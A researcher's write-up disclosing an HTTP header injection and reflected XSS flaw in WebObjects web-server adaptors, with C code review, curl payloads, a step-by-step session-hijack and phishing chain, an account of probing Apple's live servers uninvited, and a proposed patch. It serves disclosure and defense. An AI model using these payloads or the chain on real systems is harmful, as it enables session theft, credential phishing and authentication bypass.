Affected Products & (Pre-)Notes
>> WebObjects - 1.0
>> WebObjects - 2.0
>> WebObjects - 3.0
>> WebObjects - 3.1
>> WebObjects - 3.5
>> WebObjects - 4.0
>> WebObjects - 4.5
>> WebObjects - 4.5.1
>> WebObjects - 5.0
>> WebObjects - 5.2
>> WebObjects - 5.3
>> WebObjects - 5.4
>> WebObjects - 5.4.1
>> WebObjects - 5.4.2
>> WebObjects - 5.4.3
The above affected WebObjects versions are for both Apple and Project Wonder versions all the same.
Note: Before completely publishing this article, I did attempt to reach Apple’s Product Security Team by email. Since WebObjects was lowered into the software grave years ago, their response is to notify the responsible parties involved (i.e. Project Wonder), but they are ‘interested in reviewing’ this report. Therefore, I have provided it to them along with their potentially affected services I’ve discovered.
I have only discovered the vulnerability, but as I make note of in the article, it’s well and easy for someone much more skilled and clever than I to leverage this and abuse it, especially with particularly advanced techniques. Any vulnerable WebObjects services should be patched immediately and without delay.
The Article’s Patch & Status
Hey! Looking quickly for the patch for your WebObjects adaptor? Just go to the Project Wonder repository and pick up the fully merged changes there!
Web-who?
Apple’s WebObjects is an old, aged-like-fine-wine, Java-based web application framework with a legacy of prescient object-oriented features, extreme extensibility, and scalability. In its heyday, it was the chief of dynamic web forms and represented the bleeding edge of cross-platform application deployment for websites and local desktop applications alike.
The project originally debuted in 1995 from NeXT Software, presented to thunderous applause by none other than Steve Jobs himself (so Apple stans – as I am slowly becoming – can reel with excitement). The technology behind WebObjects, particularly the Enterprise Objects Framework (EOF), echoes even today in popular web frameworks.
To read about the timeline and history of WebObjects, check out the Wikipedia page.
Project Wonder & The State of WO Development
Circa 2009, Apple turned inward and stopped releasing new versions of the software. At this time, a community of loving WO developers stepped in to open-source the project by extending the base WebObjects API, releasing and maintaining (to this day) Project Wonder on GitHub.
In May of 2016, Apple announced the official discontinuation of the WebObjects project, so most people use Wonder or a fork thereof to get the latest updates and features for their deployments.
Scant original documentation can still be found in the deep reaches of the internet, and (unfortunately) Project Wonder’s documentation is for all intents and purposes worse than Apple’s. You can read some of the Wonder JavaDoc here.
While the GitHub repository is regularly updated, the videos from the last WOWODC (WebObjects conference) left questions about the fractured state of the community and where it was headed. Sadly, it seems the project has been all but disbanded by everyone except a few maintainers: the sad state of software which depends on yet-unreleased proprietary wizardry.
The Essential WebObjects Adaptor
Before diving into the meat of the vulnerability, it’s important to understand exactly which part of the monolithic framework is affected.
The WebObjects web-server adaptors lie on the front-end of the vast majority of remaining Apple WebObjects deployments on the WWW, due to their managerial role as a liaison between the WebObjects application servers, application instances, and the clients or customers accessing the generated content. These are written in C and are designed to integrate with popular web-server software platforms like Apache or IIS.
A more explicit description can be found from Apple’s Java API Reference under the WOAdaptor PDF heading:
A WebObjects adaptor is a process that handles communication between the server and a WebObjects application. The WebObjects application (a WOApplication instance) communicates with the adaptor using messages defined in the WOAdaptor class.
[ . . . ]
The purpose of the WOAdaptor [API] class is to perform these tasks:
- Register with the application’s run loop to begin receiving events.
- Receive incoming events from the run loop and package them as WORequest objects.
- Forward the WORequest to the WOApplication by sending it the message dispatchRequest.
- Receive the WOResponse object from the WOApplication and send it to the client using an RPC mechanism.
The Vulnerability
Summary
There exists, in some (read: most) WebObjects deployments, the capability to arbitrarily inject HTTP request headers directly to the backend application servers, blatantly bypassing any adaptor pre-filtering of content headers and overwriting web-server environment variables such as REMOTE_ADDR and DOCUMENT_ROOT from Apache.
This problem has to do with munging the URL path of a WebObjects application. There are two separate methods by which a payload can be injected into the request URL. These will each be covered in detail as the code review proceeds.
- The little-seen WebObjects Version String, which is presumably expected to appear as something like
.../WebObjects-4.exe/...
. - The trailing character sequence of the URL, before the presence of the URL query string.
Affected WebObjects Adaptor Versions
Unfortunately, the discovered vulnerability (as you’ll see shortly) exists not in one single adaptor or one class of adaptors: it exists in all WebObjects adaptors.
The troublesome code is located in the Wonder shared C libraries for all adaptors to use commonly.
Discovery & Code Review
Now it’s time to dive into the Wonder source code; keep in mind that this was forked from the original Apple software in the early 00s, so it’s apparently been lurking for a long time. This goes a little deep, so if you’re not much of a developer or you’re only interested in seeing exploits in action, skip to the next section.
Using Apache2.4’s adaptor code as the example in this document, the discovery begins from within the
WebObjects_handler
method
of mod_WebObjects.c, inside the registered Apache hook that handles web requests post-translation:
/*
* message the application & collect the response
*
* note that handleRequest free()'s the 'req' for us
*/
resp = tr_handleRequest(req, r->uri, &wc, r->protocol, docroot);
Let’s zoom out this context to get a better preliminary understanding: the signature for
tr_handleRequest
being called looks like (from transaction.h):
HTTPResponse *tr_handleRequest(
HTTPRequest *req,
const char *url,
WOURLComponents *wc,
const char *server_protocol,
const char *documentRoot
);
… where WOURLComponents is a piecewise representation of the parsed URL given by the underlying web-server (from WOURLCUtilities.h):
typedef struct _WOURLComponent {
const char *start;
unsigned int length;
} WOURLComponent;
typedef struct _WOURLComponents {
WOURLComponent prefix;
WOURLComponent webObjectsVersion;
WOURLComponent applicationName;
WOURLComponent applicationNumber;
WOURLComponent applicationHost;
WOURLComponent sessionID;
WOURLComponent pageName;
WOURLComponent contextID;
WOURLComponent senderID;
WOURLComponent queryString;
WOURLComponent suffix;
WOURLComponent requestHandlerKey;
WOURLComponent requestHandlerPath;
} WOURLComponents;
In the case of
tr_handleRequest
, the WOURLComponent data in
wc
is populated by passing the initialized struct pointer to
the
WOParseApplicationName
function from MoreURLCUtilities.h. This only happens if the Apache subprocess module does not return a static
application name from the
WOApplicationName
environment variable (which in many deployments it won’t, unless specifically set on the Adaptor).
WOURLError WOParseApplicationName(WOURLComponents *wc, const char *url);
From the above struct, this parsing function populates the wc properties sequentially for wc->prefix through wc->applicationName and returns whether the validation up to that point has succeeded.
The curious bit in this parser comes from the parsing of wc->webObjectsVersion. I will annotate my own comments and spacing through this code to hopefully make what’s happening clearer, but I will not change any placements or syntax otherwise. Then, I will draw a scenario and propose what fuzzing this particular string might yield based on the analysis.
#define WebObjects_STR "/"WEBOBJECTS
// ^ 'WEBOBJECTS' is defined on line 269 of 'config.h':
// config.h:269: #define WEBOBJECTS "WebObjects" /* the ubiquitous magic moniker */
#define WEBOBJECTS_STR "/WEBOBJECTS"
#define WebObjects_LEN strlen(WebObjects_STR) /* assume both same length */
[ . . . ]
const char * const cgi_extensions[] = { ".exe", ".EXE", ".dll", ".DLL", NULL };
// ^ [permissible extensions for the 'version' string in the URL]
const char * const app_extensions[] = {WOADAPTOR_APP_EXTENSION, WOADAPTOR_APP_EXTENSION_UPPERCASE, NULL };
// ^ ['.woa' and '.WOA']
[ . . . ]
WOURLError WOParseApplicationName(WOURLComponents *wc, const char *url) {
// [in traditional C-style, local variables are being lumped together at the top here]
int len;
const char *s; // [this variable is consistently used to track the current 'search' position in the URL]
const char *webobjects, *extension, *version, *start, *end;
// ^ [these values do the same as 's' but act more as markers to save places]
int i; // [for-loop iterator]
len = strlen(url); // [the length of the full URL string to process]
webobjects = NULL;
/*
* spot our marker in the URL. It'll look like "/WebObjects-n.ext/"
* ^ [this is highly intriguing considering the below code]
*/
s = (url != NULL) ? url : ""; // [shouldn't really happen, but if it does won't cause problems]
while ( (s <= url + (len - WebObjects_LEN)) && (webobjects == NULL) && (*s != '?') ) {
// ^ [while 's' doesn't exceed the length of the URL minus len("/webobjects"),]
// [ and the marker isn't yet found, and the char at 's' is NOT the start of the query string]
while ((*s != '/') && (s <= url + (len - WebObjects_LEN)))
s++; // [scan to the next '/' within our bounds]
if ((strncmp(s, WebObjects_STR, WebObjects_LEN) == 0) ||
(strncmp(s, WEBOBJECTS_STR, WebObjects_LEN) == 0) )
webobjects = s; // [magic moniker found!]
else
s++; // [keep searching]
}
if (webobjects == NULL)
return WOURLInvalidPrefix; /* bail if "WebObjects" not in URL */
s = webobjects + WebObjects_LEN; /* just beyond "WebObjects" */
// ^ [move the position of the 'cursor s' just beyond the found string]
for (end = s; (end < url + len) && (*end != '?') && (*end != '/'); end++)
/* find end of CGI moniker */;
// ^ [set 'end' to 's' and move its position up the string until it encounters a '?' or '/']
version = (*s == '-') ? s : NULL; /* do we have a version? */
// ^ [if the char at 's' (end of WebObjects) is a '-', set the 'version' pointer to that pos]
extension = NULL;
// Go through each extension and check the location at 'end' - 'n' (which is always 4) for
// a valid extension. In a play-nice scenario, this part of the URL now looks something like:
// .../WebObjects-?????.ext/...
// as noted in the original code's comments.
for (i=0; (extension == NULL) && (cgi_extensions[i] != NULL); i++) {
int n = strlen(cgi_extensions[i]);
if ((end - n >= version) && (strncmp(end-n, cgi_extensions[i], n) == 0))
extension = end - n;
}
/*
* just validate the prefix gunk....
*/
if (extension != NULL) {
if (version && ((extension - (version+1) < 1) || ( !isdigit((int)*(extension-1)) )))
return WOURLInvalidWebObjectsVersion;
// ^ [when there's a valid extension, the stuff between '-' and '.ext' is >1 char,]
// [ and the value at 'extension' (the dot) minus 1 is a NUMBER]
// [ If these conditions are not met, the URL and request will be trashed.]
} else if (version != NULL) {
if ((end - (version+1) < 1) || ( !isdigit((int)*(end-1)) ))
return WOURLInvalidWebObjectsVersion;
// ^ [when a version is defined but extension isn't set or found, the last character before]
// [ the '/' (at the 'end' ptr) must be a number and there must be at least one character]
// [ between '-' and '/' in this version information.]
} else if ((end - s) > 1 )
return WOURLInvalidPrefix;
// ^ [lastly, if there's no extension or version but the 's' ptr is not the same as the]
// [ 'end' position, something is weird so the return should be an error.]
// [Now, we set the properties of the prefix and record the version.]
wc->prefix.start = url;
wc->prefix.length = end - url;
if (version != NULL) {
wc->webObjectsVersion.start = version + 1;
wc->webObjectsVersion.length = ((extension) ? extension : end)-version;
// ^ [when a version is recorded, the start position is at the 'version' ptr]
// [ and the LENGTH becomes the distance from 'version' to 'extension']
}
[ . . . ]
Wait a minute! Did you notice something in this mess of linear-memory string validation? Perhaps a check that wasn’t enacted on requestors here? Before proceeding, check your knowledge and see if you too can spot the problem.
URL Reflection Attack & XSS
Here are the key points:
- The end pointer sits at the first-found location of a ‘/’ or ‘?’ character after the first-found ‘WebObjects’ URL string.
- The s pointer is hanging out still where version is: at the ‘-’ URL character just after the WO string.
- The wc->webObjectsVersion property is populated with the content between these two pointers, to any length.
The length of the version component is left unchecked and essentially doesn’t matter.
- This is the key to understanding the URL Reflection attack of the vulnerability.
When a requestor plays nice and safely by the rules, something like
/cgi-bin/WebObjects-4.dll/...
is great!
However when the man comes around, he might try to see what apocalypse can arise from something like:
/cgi-bin/WebObjects-4xyz"%20onmouseover=alert('uhoh')><span%20class="xyz4.exe/........
^ (char preceding '.' MUST be a digit)--^^
`- 'version' pointer |
`- 'ext' pointer
Does this not also play by our key points above?
- There is no ‘/’ or ‘?’ in the URL after the ‘WebObjects’ version string, until we need it there.
- By any consideration, the WO Adaptor code here sees what looks like a valid version URL component.
Bear in mind: not every WO instance will reflect like this – I have yet to discover exactly why but I believe it has to do with the
WebObjectsAlias
Apache definition aliasing versioned requests to the defined configuration value. That, or it depends
on the adaptor being used (CGI vs. Apache, for example).
Keep Going!
REWIND! All the way back above to
tr_handleRequest
where we started. What is this function even doing? I mean,
it’s obvious “tr” is transaction and it’s the primary request handler method from Adaptor extensions, but let’s take a peek inside.
After the initial setup of the handler, it essentially aims to fill the locally created
WOAppReq
structure with initial
app and instance details. This section of the code also auto-selects an instance to use if one isn’t specified in the request.
I won’t bother you with the repetition and WO-specific code here which takes care of cycling and controlling instance locking to fetch a valid handle to use – it is unrelated to the objective of injection.
However, around line 213 we finally get to something interesting after the adaptor is done attempting to get a valid app instance:
/*
* run the request...
*/
resp = NULL;
if (instHandle != AC_INVALID_HANDLE) {
/* Attempt to send request and read response */
do {
/* Fix up URL so app knows it's being load balanced ... */
/* We need to do this in the loop to get correct instance number into the request URL */
req_reformatRequest(req, &app, wc, server_protocol);
WOLog(WO_INFO,"Sending request to instance number %s, port %d", app.instance, app.port);
resp = _runRequest(&app, appHandle, instHandle, req);
The URL is claimed to be fixed here by the
req_reformatRequest
function. You know what’s next: open request.c!
I will continue my typical annotations in-line too:
/*
* reformat URL to conform to our norms. also has side effect of
* setting 'REQUEST_METHOD' header
*/
void req_reformatRequest(HTTPRequest *req, WOAppReq *app, WOURLComponents *wc, const char *http_version)
{
char *default_http_version = "HTTP/1.1";
int http_version_length = http_version ? strlen(http_version) : strlen(default_http_version);
// [re-populating the WOURLComponents struct from WOAppReq fields that are passed in]
wc->applicationName.start = app->name;
wc->applicationName.length = strlen(app->name);
wc->applicationNumber.start = app->instance; /* note that this is by reference */
wc->applicationNumber.length = strlen(app->instance);
wc->applicationHost.start = app->host;
wc->applicationHost.length = strlen(app->host);
// [free the memory at the request_str if it's allocated]
if (req->request_str)
WOFREE(req->request_str);
/* METHOD + SizeURL + SPACE + http_version_length + \r\n + NULL) */
req->request_str = WOMALLOC(strlen(req->method_str) + 1 + SizeURL(wc) + 1 + http_version_length + 2 + 1);
// ^ [the allocation accounts for the Method (GET/POST/etc) and the size of the wc object, plus the]
// [ HTTP version string, spaces, the CRLF, and the null-terminator; no problems here]
// [the method (GET/POST/PUT/etc) is copied into the string buffer, followed by a space]
strcpy(req->request_str, req->method_str);
strcat(req->request_str," ");
// [the request-method header (useless) is set to denote the type of request]
req_addHeader(req, REQUEST_METHOD_HEADER, req->method_str, 0);
// [a pointer to the end-position of the current request_str, the WOURLComponents, and the flag]
// [ are all sent to the ComposeURL function for processing]
ComposeURL(req->request_str + strlen(req->request_str), wc, req->shouldProcessUrl);
It’s very important to note that in the
ComposeURL
function, the return value isn’t even considered when doing so.
So this could fail if the supplied wc has a munged URL version, and the adaptor just doesn’t care about that–it will happily keep
concatenating strings regardless.
And now we arrive at the heart of the header injection’s cause: the URL is composed with no sanitization checking then the HTTP version is directly concatenated onto the raw request string.
The lines after this show the grave mistake of trusting the user’s URL input without first cleaning it up.
strcat(req->request_str," ");
// ^ [the 'composed' URL, plus a mere space]
if (http_version)
{
strcat(req->request_str,http_version);
if (strcasecmp(http_version,"HTTP/1.1") == 0)
{
req_addHeader(req, "Host", app->host, 0);
}
} else {
strcat(req->request_str,default_http_version);
req_addHeader(req, "Host", app->host, 0);
}
// ^ [now the HTTP version has been 'safely' added]
strcat(req->request_str,"\r\n");
// ^ [ready to add on more request headers, probably]
WOLog(WO_INFO,"New request is %s",req->request_str);
return;
HTTP Header Injection
The crux of the issue here lies in the fact that the URL composition and ‘restructuring’ methods don’t really do much to enforce all the proper conformities as they should be. It sort of takes the request URL as a trusted sequence of bytes, checks a few fields, and slaps together the final raw HTTP request.
Something like:
GET /cgi-bin/WebObjects/MyApp.woa HTTP/1.1
Host: from.the.adaptor.com
x-webobjects-request-id: requestid123
x-webobjects-adaptor-version: Apache
REMOTE_ADDR: 8.8.8.8
HTTPS: on
[ ... Other Apache environment variables and adaptor-generated headers ... ]
When we’re a happy user and the world is alright, our cURL request may look something like:
curl -4ik "https://my.domain.com/cgi-bin/WebObjects/MyApp.woa/2/wa/default"
The WO Adaptor helps us out:
GET /cgi-bin/WebObjects/MyApp.woa/2/wa/default HTTP/1.1
Host: my.domain.com
x-webobjects-request-id: requestid456unique
x-webobjects-adaptor-version: Apache
REMOTE_ADDR: 8.8.8.8
HTTPS: on
[ ... more good headers ... ]
Because all we want to do is log in and enjoy our day at work, this request is happy and things are simple.
But when we’re a perturbed user, we might get a tad vile:
PAYLOAD="%20HTTP/1.1%0d%0a%0d%0ax-webobjects-adaptor-version:malice%0d%0aHost:MALICIOUS%0d%0a%0d%0a"
curl -4ik "https://my.domain.com/cgi-bin/WebObjects/MyApp.woa/2/wa/default${PAYLOAD}"
The WO Adaptor thinks all is right, but no… it’s far from that:
GET /cgi-bin/WebObjects/MyApp.woa/2/wa/default HTTP/1.1
x-webobjects-adaptor-version:malice
Host:MALICIOUS
HTTP/1.1
Host: my.domain.com
x-webobjects-request-id: requestid456unique
x-webobjects-adaptor-version: Apache
REMOTE_ADDR: 8.8.8.8
HTTPS: on
[ ... more good headers ... ]
So all the good stuff generated by the WOAdaptor is completely ignored by the receiving application server!
Thus, any request headers or environment variables (formerly only known or exchanged between the adaptor and the application server on the back end of things) are now completely changeable and injectable through URL modifications.
Exploitation
Crafted Payloads
Here are examples of each vulnerability being uniquely leveraged.
URL-based XSS
A threat actor sending a maliciously-crafted link to a target can essentially get their browser to execute arbitrary JavaScript. In my search for this vulnerability on the public web, I encountered numerous WebObjects portals which directly reflected the version URL component in their generated pages.
One such malicious XSS for a subtle redirect appeared like so:
http://vulnerable.com/cgi-bin/WebObjects-4%22%20onmouseover=window.location.replace(decodeURIComponent("http:%252f%252fmalice.com"))%3E%3Cspan%20class=%224.exe/TargetApp.woa/1/wa/default
This JavaScript payload essentially decodes and expands rather harmlessly in the page like so:
<a href="/cgi-bin/WebObjects-4" onmouseover=window.location.replace(decodeURIComponent("http:%2f%2fmalice.com"))><span class="4.exe/TargetApp.woa/1/wa/default?wosid=newSessID" [...]
Now when a victim hovers over any reflected link, they will be redirected to my phishing portal at ‘malice.com’ and unknowingly leak valuable information. Muahahahaha!
Notice how the ‘/’ or ‘?’ limitation of this XSS can very easily be overcome with a simple double-encoding of URL character codes.
Generating Unexpected Responses from the ‘Behemoth’ Itself
Perhaps this is a little gray-hat of me, but I could not withhold my curiosity with Apple themselves, since it’s reported they are also operating WebObjects servers even today! With a little bit of Google know-how, I was able to find some interesting paths that – for whatever reason – are lingering on the main Apple domain.
Of course, I won’t show the real path I used, but I will show most of my munged query which resulted in curious application feedback from the remote WO instances.
And before I proceed with showing the results of my brief probe: while not necessarily responsible, this is a good-faith test so I can report potential problems to Apple! See this article for whatever legal protections I can pretend to have. :)
I should also take time to note that this could very well be nothing when it comes to Apple servers. Apple has millions upon millions of fuzzing resources and farms at their disposal: it’s so unbearably highly likely that, if this is indeed a vulnerability or problematic input, it has not gone unnoticed by the masters themselves.
Anyway……
[root@server ~]# curl -i "https://xyzabc.apple.com/WebObjects/actionEndpoint%20HTTP/1.1%0d%0a" --output /tmp/apple.out.log
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 96 100 96 0 0 872 0 --:--:-- --:--:-- --:--:-- 872
[root@server ~]# cat $_
HTTP/2 500
content-length: 96
x-webobjects-loadaverage: 0
content-encoding: gzip
date: Tue, 02 Aug 2022 21:16:45 GMT
[... cut many Apple headers ...]
[ GZIP BINARY DATA ]
[root@server ~]#
[root@server ~]# curl -i "https://xyzabc.apple.com/WebObjects/actionEndpoint"
HTTP/2 301
content-type: text/html; charset=UTF-8
content-length: 0
x-webobjects-loadaverage: 0
location: https://somelocation.apple.com/
date: Tue, 02 Aug 2022 21:17:30 GMT
[... cut many Apple headers ...]
[root@server ~]#
Notice the first request is a 500 error, yet the second request is a 301 redirect.
I’ve also had similar queries return unexpected return codes (401 vs. 404) when adding a second CRLF to requests, thereby completing the request headers and surely confusing the Apple application server.
The returned GZIP data in the above sample, when scrubbing the HTTP headers from the response data, actually contains a message that is the same as other invalid requests to the WO endpoint. However, this is still significant because the remote server is changing its behavior when URL parameters are changing.
Real Demonstration (Chained Phishing Redirection Exploitation)
Using a local WebObjects cross-site scripting vulnerability, I have been able to pull off session hijacking and [simulated] spearphishing in a full-stack, corporate WO environment. I was originally going to include a whole load of screenshots and proofs of this exploitation, but this article is perhaps long enough and the method was very specific, so I’ll just dish out a summary gist:
- Login as a malicious or compromised user, or a guest if possible.
- In a location with upload or stored-content capabilities, try to find places for stored/persistent XSS.
- Once an exploitable vector of session-based XSS is discovered, use the browser Networking console to attempt to predict the next dynamic WO component URL. Since WebObjects uniquely generates page URLs, this can be tough to pull off, and requires a little patience.
- Most WO page URLs consist of a contextID plus a senderID, in the appearance of contextID.senderID at the end of the URL.
- After discovering a pattern of page naming and rotation, prepare a link to the next-in-line page and inject your session cookie into the URL.
- The reason for doing this is because the target of the malicious redirect will have no knowledge of your session, and most WebObjects servers require sessions to be double-validated by the presence of a session cookie in addition to the URL string.
- Craft a payload link. Here’s a sample:
https://app.site.com/cgi-bin/WebObjects/MyApp.woa/2/sessionIdString/predictedContextID.predictedSenderID
%20HTTP/1.1%0d%0ax-webobjects-adaptor-version:aaa%0d%0aHost:%20nonce%0d%0a
Cookie:%20woSessionStuffSESSIONID=SESSIONID;%0d%0a%0d%0a
- Send it to the target and wait for your malicious XSS to redirect them through the cloak to the phishing page.
- Harvest the user’s credentials in the phishing portal.
- Spoof an internal IP in request headers via injection to avoid MFA.
- ????
- PROFIT!!!!
Oh, the Possibilities
This vulnerability has several implications for WebObjects administrators using available open-source Wonder software. Given enough time fuzzing or manually injecting HTTP headers, an attacker can potentially take control over the WebObjects server itself and use it for all sorts of nefarious purposes–the recent favorites of course being ransoms or crypto-mining.
Anyone with even slight WebObjects experience or Project Wonder know-how (unlike myself) will be able to somehow abuse the
Host:
header back-end injections, I am nearly certain of that.
Vulnerability Signatures
Need some proof it works? Try it yourself!
Don’t forget to change these around and fuzz them a tad, since they’re not one-size-fits-all tests.
URL Reflection:
# The JS payload to inject.
PAYLOAD="\" onmouseover=alert('hi')><span class=\""
# The remote app name.
APP="MyApp.woa/2"
# The full target URL.
URL="https://your.domain.com/cgi-bin/WebObjects-4abc${PAYLOAD}xyz4.dll/${APP}/wa/default"
# Do it.
curl -4vk "${URL}"
If this returns alert(‘hi’) anywhere in the reflected page source, you are probably vulnerable and need to mitigate ASAP.
HTTP Header Injection:
#!/bin/bash
#
# The remote domain.
DOMAIN="my.domain.com"
# The application name.
APP="MyApplication.woa"
# The instance number, if any.
INST=2
# Required HTTP headers for the remote app server to NOT trash a request.
PARTIAL="%20HTTP/1.1%0d%0aHost:%20${DOMAIN}%0d%0ax-webobjects-adaptor-version:12345%0d%0a"
curl --fail -4ik "https://${DOMAIN}/cgi-bin/WebObjects/${APP}/${INST}${INST:+/}wa/default${PARTIAL}%0d%0a" &>/dev/null
echo $?
# ^ this should return '0' to indicate the curl returned a 200-result, showing your application's default page.
# This header causes the adaptor to misunderstand the response from the application server.
# Since the app server responds with this ID in its Headers, it's possible to somehow cause a Location:
# header to be sent, thereby redirecting clients if the right request ID can be injected somehow.
REQID="x-webobjects-request-id:12345%0d%0a"
curl --fail -4ik "https://${DOMAIN}/cgi-bin/WebObjects/${APP}/${INST}${INST:+/}wa/default${PARTIAL}${REQID}%0d%0a" &>/dev/null
echo $?
# ^ Should return a code that is NOT '0' (will likely be '22', but non-zero is the most important part).
# this should give you a 'No instance available' (or another) error, likely a 500-code, indicating a problem
# communicating and matching the WO request id with the adaptor (indicating a successful header injection).
If this returns a 0 then a non-zero code, you are probably vulnerable and need to mitigate ASAP.
Once you patch your adaptor code with the merged changes, it should always return a non-zero code from any cURL request containing attempted header injections!
Mitigation
The Actual Process
Disclaimer: I am not your server administrator. If you break something by my suggestion here, it is not my responsibility.
This vulnerability has several potential avenues for mitigation:
- Most efficient and least disruptive: (see below) Patch the WebObjects Adaptor to the latest version and deploy the recompiled module across your web-server infrastructure.
- Disable URL decoding on the webserver of content appearing before the query string.
- The query string is the bit of the URL occurring after the ‘?’ character.
- Create URL rewrites to 403 on illegal URL characters.
The Hotfix: Reasons & Understanding
It’s most important for backwards-compatible operation to continue, especially for those who have been using WebObjects since the Stone Age.
However, URL-encoded characters like
%0D
(carriage-return) or
%0A
(line-feed) should never be
permitted unless done so explicitly for a certain VirtualHost or other endpoint. If the data containing these special characters is indeed
necessary for something like a DirectAction or other process, it’s best to send these characters through a POST mechanism or some other
form data instead.
In the spirit of keeping the code change the least distruptive, we also want to make sure the WO Adaptor can stop processing the problem as soon as the indicator is discovered, to avoid unnecessary processing. In this case a simple search of the URL string for 0x0D or 0x0A bytes is enough for the C code to throw the request in the garbage bin, effectively killing the HTTP Header injection altogether.
Secondly, the URL version component’s length should be by no means unbounded. It should be limited to at most six (6) characters, to conform with possible WebObjects versioning that takes the format X.Y.Z for any reason. Since it’s only six characters and can be restricted by a character set, it’s probably okay to be a little more lax with this to avoid breaking anything. This will effectively mitigate the problems with URL reflection attacks and XSS.
To the Code…
See the top of this document for the patches listed below in an easy-to-import diff file!
So, to summarize:
- Restrict the URL version component to at most 6 characters in length.
- This accounts for ‘1.2.3’ versioning, a la
{'1','.','2','.','3','\0'}
- Effectively force the URL version to conform to the regex:
[a-z0-9\.\-_]{1,5}
- This accounts for ‘1.2.3’ versioning, a la
- Add a URL Utility function to return a non-NULL value when a forbidden URL character is encountered.
Therefore, I will now shut up and present to you my proposal, which will be sent to a GitHub pull request after testing:
WOURLCUtilities.h
Add another element to the WOURLError enum:
WOURLForbiddenCharacter
.
typedef enum {
WOURLOK = 0,
WOURLInvalidWebObjectsVersion = 2,
[ . . . ]
WOURLNoPostData,
WOURLForbiddenCharacter
} WOURLError;
MoreURLCUtilities.h
WOURLError WOValidateInitialURL( const char* url );
MoreURLCUtilities.c
Past the
ComposeURL
function (not that placement is the most important here):
/*
* Filter for illegal URL characters in the passed adaptor request URL.
*/
WOURLError WOValidateInitialURL( const char* url ) {
const char* i;
int j;
char illegal_vals[] = { 0x0A, 0x0D };
int len = strlen( url );
i = (url != NULL) ? url : "";
WOLog(WO_DBG, "WOValidateInitialURL(): Inspecting URL: %s (%d)", url, len);
for( ; (*i) && i < (url+len); i++ ) {
for ( j = 0; j < (sizeof(illegal_vals)/sizeof(char)); j++ ) {
if ( *i == illegal_vals[j] ) return WOURLForbiddenCharacter;
}
}
return WOURLOK;
}
Around line 112:
/*
* just validate the prefix gunk....
* -- Added fix for invalid WO version info
*/
if (extension != NULL) {
if (version && ((extension - (version+1) < 1) || (extension - (version+1) > 5) || ( !isdigit((int)*(extension-1)) )))
return WOURLInvalidWebObjectsVersion;
} else if (version != NULL) {
if ((end - (version+1) < 1) || (end - (version+1) > 5) || ( !isdigit((int)*(end-1)) ))
return WOURLInvalidWebObjectsVersion;
} else if ((end - s) > 1 )
return WOURLInvalidPrefix;
// Iterate the version string and match it to the regex: [a-z0-9\.\-_]+
// Its length is already constrained by the above conditional statements.
if ( version != NULL ) {
int versionLen = ((extension) ? extension : end)-version;
for ( const char* v = (version+1); (*v) && v < version+versionLen; v++ ) {
if ( !isalnum( (int)*v ) && (*v != '.') && (*v != '-') && (*v != '_') )
return WOURLInvalidWebObjectsVersion;
}
}
Apache2.4/mod_WebObjects.c
The final part of the patch can now be applied to the actual adaptors; in this example, the Apache 2.4 WO Adaptor gets the fix-up around the beginning of the translate function:
int WebObjects_translate(request_rec *r) {
WebObjects_config *wc;
WOURLComponents url;
WOURLError urlerr;
WOURLError charcheck;
// ^ [this WOURLError variable has been added to track the result of the fobidden chars check below]
// NO CHANGES ...
// get the module configuration (this is the structure created by WebObjects_create_config())
wc = ap_get_module_config(r->server->module_config, &WebObjects_module);
WOLog(WO_DBG, "<WebObjects Apache Module> new translate: %s", r->uri);
if (strncmp(wc->WebObjects_alias, r->uri, strlen(wc->WebObjects_alias)) == 0 || (r->handler != NULL && strcasecmp(r->handler, WEBOBJECTS) == 0)) {
#ifndef _MSC_VER // SWK changed url = WOURLComponents_Initializer; to memset(&url,0,sizeof(WOURLComponents));
url = WOURLComponents_Initializer;
#else
memset(&url,0,sizeof(WOURLComponents));
#endif
// ... Below was added:
// Make sure the URL does not contain forbidden characters (0x0D or 0x0A).
charcheck = WOValidateInitialURL( r->uri );
if ( charcheck != WOURLOK ) {
WOLog(WO_DBG, "WebObjects_translate(): declining request due to forbidden URL characters");
return DECLINED;
}
Done! That should wrap up the fix nicely.
Final Thoughts
Whew! That was quite a lot to write, review, and test!
I hope you found this to be helpful or at least a bit intriguing that these sorts of things can lurk undiscovered in decades-old code, even from companies with solid reputations like Apple.
Overall, this oversight doesn’t seem too afflicting on its surface: WebObjects is excessively secure in most deployment scenarios, and there’s only directly-targeted opportunity in those deployments for any kind of Reflection or Hijacking attack. But this means if someone wants something you have from a WO-enabled site, they might now have another way to get it with some effort.
In my brief experience actually testing this on real-world software, I have been able to:
- Bypass IP-based DirectAction authorization (with control of REMOTE_ADDR and x-webobjects-remote-addr headers).
- Hijack user session and domain cookies through redirected XSS or chained exploitation.
- Create cloaking redirects which don’t trigger automatically; instead awaiting a user action.
- Chain this with locally stored XSS in user forms, to allow one-click redirection and URL cloaking, which could lead to targeted spearphishing attacks and possibly much worse.
This attack also likely opens the door to other very nasty attack scenarios, most of which are beyond my skill level.
The mitigation for this problem is very simple, and any competent administrator shouldn’t be troubled by rolling out a quick hotfix.
Lastly, had I spent more time fuzzing the inputs for this after knowing of the required x-webobjects-adaptor-version client header, I could have surely discovered several more weaknesses or crashy inputs perhaps significantly higher on the scale of severity.
Until next time, thanks for reading! ~